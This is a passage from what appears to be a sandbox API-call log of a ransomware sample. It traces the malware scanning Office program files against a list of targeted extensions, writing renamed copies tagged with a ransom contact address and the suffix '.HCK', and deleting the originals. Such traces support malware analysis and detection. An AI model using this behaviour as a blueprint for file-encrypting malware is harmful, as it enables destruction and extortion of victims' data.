office\\root\\flattener\\appvopcservices.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0232.891] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.891] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.893] GetLastError () returned 0x0 [0232.893] ReadFile (in: hFile=0x4b0, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x221, lpOverlapped=0x0) returned 1 [0232.894] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x230, lpOverlapped=0x0) returned 1 [0232.894] ReadFile (in: hFile=0x4b0, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.894] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x10c, lpOverlapped=0x0) returned 1 [0232.894] SetEndOfFile (hFile=0x4d4) returned 1 [0232.894] CloseHandle (hObject=0x4d4) returned 1 [0232.895] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.895] SetEndOfFile (hFile=0x4b0) returned 1 [0233.000] CloseHandle (hObject=0x4b0) returned 1 [0233.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest")) returned 1 [0233.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0233.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0233.001] lstrlenW (lpString=".doc") returned 4 [0233.001] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0233.001] lstrlenW (lpString=".docx") returned 5 [0233.001] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0233.001] lstrlenW (lpString=".pdf") returned 4 [0233.001] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0233.001] lstrlenW (lpString=".xls") returned 4 [0233.001] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0233.001] lstrlenW (lpString=".xlsx") returned 5 [0233.001] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0233.001] lstrlenW (lpString=".ppt") returned 4 [0233.001] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0233.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0233.001] lstrlenW (lpString=".zip") returned 4 [0233.001] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0233.001] lstrlenW (lpString=".rar") returned 4 [0233.001] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0233.001] lstrlenW (lpString=".bz2") returned 4 [0233.001] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0233.001] lstrlenW (lpString=".7z") returned 3 [0233.001] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0233.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0233.001] lstrlenW (lpString=".dbf") returned 4 [0233.001] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0233.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0233.001] lstrlenW (lpString=".1cd") returned 4 [0233.001] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0233.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0233.001] lstrlenW (lpString=".jpg") returned 4 [0233.001] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0233.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0233.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0233.001] lstrlenW (lpString=".doc") returned 4 [0233.001] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0233.001] lstrlenW (lpString=".docx") returned 5 [0233.001] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0233.001] lstrlenW (lpString=".pdf") returned 4 [0233.001] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0233.002] lstrlenW (lpString=".xls") returned 4 [0233.002] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0233.002] lstrlenW (lpString=".xlsx") returned 5 [0233.002] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0233.002] lstrlenW (lpString=".ppt") returned 4 [0233.002] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0233.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0233.002] lstrlenW (lpString=".zip") returned 4 [0233.002] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0233.002] lstrlenW (lpString=".rar") returned 4 [0233.002] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0233.002] lstrlenW (lpString=".bz2") returned 4 [0233.002] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0233.002] lstrlenW (lpString=".7z") returned 3 [0233.002] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0233.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0233.002] lstrlenW (lpString=".dbf") returned 4 [0233.002] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0233.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0233.002] lstrlenW (lpString=".1cd") returned 4 [0233.002] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0233.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0233.002] lstrlenW (lpString=".jpg") returned 4 [0233.002] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0233.002] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0233.002] lstrlenW (lpString="Microsoft.Tools.BinaryStore.dll") returned 31 [0233.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0233.068] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=73312) returned 1 [0233.068] CloseHandle (hObject=0x4b0) returned 1 [0233.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll")) returned 0x220 [0233.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0233.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0233.069] lstrlenW (lpString=".doc") returned 4 [0233.069] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0233.069] lstrlenW (lpString=".docx") returned 5 [0233.070] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0233.070] lstrlenW (lpString=".pdf") returned 4 [0233.070] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0233.070] lstrlenW (lpString=".xls") returned 4 [0233.070] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0233.070] lstrlenW (lpString=".xlsx") returned 5 [0233.070] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0233.070] lstrlenW (lpString=".ppt") returned 4 [0233.070] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0233.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0233.070] lstrlenW (lpString=".zip") returned 4 [0233.070] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0233.070] lstrlenW (lpString=".rar") returned 4 [0233.070] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0233.070] lstrlenW (lpString=".bz2") returned 4 [0233.070] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0233.070] lstrlenW (lpString=".7z") returned 3 [0233.070] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0233.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0233.070] lstrlenW (lpString=".dbf") returned 4 [0233.070] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0233.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0233.070] lstrlenW (lpString=".1cd") returned 4 [0233.070] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0233.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0233.070] lstrlenW (lpString=".jpg") returned 4 [0233.070] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0233.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0233.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0233.070] lstrlenW (lpString=".doc") returned 4 [0233.070] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0233.070] lstrlenW (lpString=".docx") returned 5 [0233.071] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0233.071] lstrlenW (lpString=".pdf") returned 4 [0233.071] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0233.071] lstrlenW (lpString=".xls") returned 4 [0233.071] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0233.071] lstrlenW (lpString=".xlsx") returned 5 [0233.071] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0233.071] lstrlenW (lpString=".ppt") returned 4 [0233.071] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0233.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0233.071] lstrlenW (lpString=".zip") returned 4 [0233.071] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0233.071] lstrlenW (lpString=".rar") returned 4 [0233.071] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0233.071] lstrlenW (lpString=".bz2") returned 4 [0233.071] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0233.071] lstrlenW (lpString=".7z") returned 3 [0233.071] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0233.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0233.071] lstrlenW (lpString=".dbf") returned 4 [0233.071] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0233.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0233.071] lstrlenW (lpString=".1cd") returned 4 [0233.071] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0233.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0233.071] lstrlenW (lpString=".jpg") returned 4 [0233.071] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0233.071] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0233.071] lstrlenW (lpString="Microsoft.Tools.Office.C2R.Packager.dll") returned 39 [0233.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0233.072] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=132800) returned 1 [0233.072] CloseHandle (hObject=0x4b0) returned 1 [0233.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll")) returned 0x220 [0233.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0233.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0233.073] lstrlenW (lpString=".doc") returned 4 [0233.073] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0233.073] lstrlenW (lpString=".docx") returned 5 [0233.073] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0233.073] lstrlenW (lpString=".pdf") returned 4 [0233.073] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0233.073] lstrlenW (lpString=".xls") returned 4 [0233.073] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0233.073] lstrlenW (lpString=".xlsx") returned 5 [0233.073] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0233.073] lstrlenW (lpString=".ppt") returned 4 [0233.073] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0233.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0233.073] lstrlenW (lpString=".zip") returned 4 [0233.073] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0233.073] lstrlenW (lpString=".rar") returned 4 [0233.073] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0233.073] lstrlenW (lpString=".bz2") returned 4 [0233.073] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0233.073] lstrlenW (lpString=".7z") returned 3 [0233.073] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0233.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0233.073] lstrlenW (lpString=".dbf") returned 4 [0233.073] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0233.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0233.073] lstrlenW (lpString=".1cd") returned 4 [0233.073] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0233.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0233.074] lstrlenW (lpString=".jpg") returned 4 [0233.074] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0233.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0233.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0233.074] lstrlenW (lpString=".doc") returned 4 [0233.074] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0233.074] lstrlenW (lpString=".docx") returned 5 [0233.074] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0233.074] lstrlenW (lpString=".pdf") returned 4 [0233.074] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0233.074] lstrlenW (lpString=".xls") returned 4 [0233.074] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0233.074] lstrlenW (lpString=".xlsx") returned 5 [0233.074] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0233.074] lstrlenW (lpString=".ppt") returned 4 [0233.074] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0233.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0233.074] lstrlenW (lpString=".zip") returned 4 [0233.074] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0233.074] lstrlenW (lpString=".rar") returned 4 [0233.074] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0233.074] lstrlenW (lpString=".bz2") returned 4 [0233.074] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0233.074] lstrlenW (lpString=".7z") returned 3 [0233.074] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0233.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0233.074] lstrlenW (lpString=".dbf") returned 4 [0233.074] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0233.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0233.074] lstrlenW (lpString=".1cd") returned 4 [0233.074] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0233.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0233.074] lstrlenW (lpString=".jpg") returned 4 [0233.074] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0233.074] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0233.074] lstrlenW (lpString="msvcp120.dll") returned 12 [0233.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0233.075] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=455344) returned 1 [0233.075] CloseHandle (hObject=0x4b0) returned 1 [0233.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll")) returned 0x220 [0233.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0233.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0233.075] lstrlenW (lpString=".doc") returned 4 [0233.075] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0233.075] lstrlenW (lpString=".docx") returned 5 [0233.075] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0233.075] lstrlenW (lpString=".pdf") returned 4 [0233.075] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0233.076] lstrlenW (lpString=".xls") returned 4 [0233.076] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0233.076] lstrlenW (lpString=".xlsx") returned 5 [0233.076] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0233.076] lstrlenW (lpString=".ppt") returned 4 [0233.076] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0233.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0233.076] lstrlenW (lpString=".zip") returned 4 [0233.076] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0233.076] lstrlenW (lpString=".rar") returned 4 [0233.076] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0233.076] lstrlenW (lpString=".bz2") returned 4 [0233.076] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0233.076] lstrlenW (lpString=".7z") returned 3 [0233.076] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0233.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0233.076] lstrlenW (lpString=".dbf") returned 4 [0233.076] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0233.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0233.076] lstrlenW (lpString=".1cd") returned 4 [0233.076] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0233.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0233.076] lstrlenW (lpString=".jpg") returned 4 [0233.076] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0233.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0233.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0233.076] lstrlenW (lpString=".doc") returned 4 [0233.076] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0233.076] lstrlenW (lpString=".docx") returned 5 [0233.076] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0233.076] lstrlenW (lpString=".pdf") returned 4 [0233.076] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0233.076] lstrlenW (lpString=".xls") returned 4 [0233.076] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0233.076] lstrlenW (lpString=".xlsx") returned 5 [0233.076] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0233.076] lstrlenW (lpString=".ppt") returned 4 [0233.076] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0233.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0233.076] lstrlenW (lpString=".zip") returned 4 [0233.076] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0233.076] lstrlenW (lpString=".rar") returned 4 [0233.076] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0233.076] lstrlenW (lpString=".bz2") returned 4 [0233.076] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0233.076] lstrlenW (lpString=".7z") returned 3 [0233.076] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0233.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0233.076] lstrlenW (lpString=".dbf") returned 4 [0233.076] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0233.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0233.077] lstrlenW (lpString=".1cd") returned 4 [0233.077] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0233.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0233.077] lstrlenW (lpString=".jpg") returned 4 [0233.077] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0233.077] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0233.077] lstrlenW (lpString="msvcp140.dll") returned 12 [0233.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0233.078] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=439608) returned 1 [0233.078] CloseHandle (hObject=0x4b0) returned 1 [0233.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll")) returned 0x220 [0233.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll"), 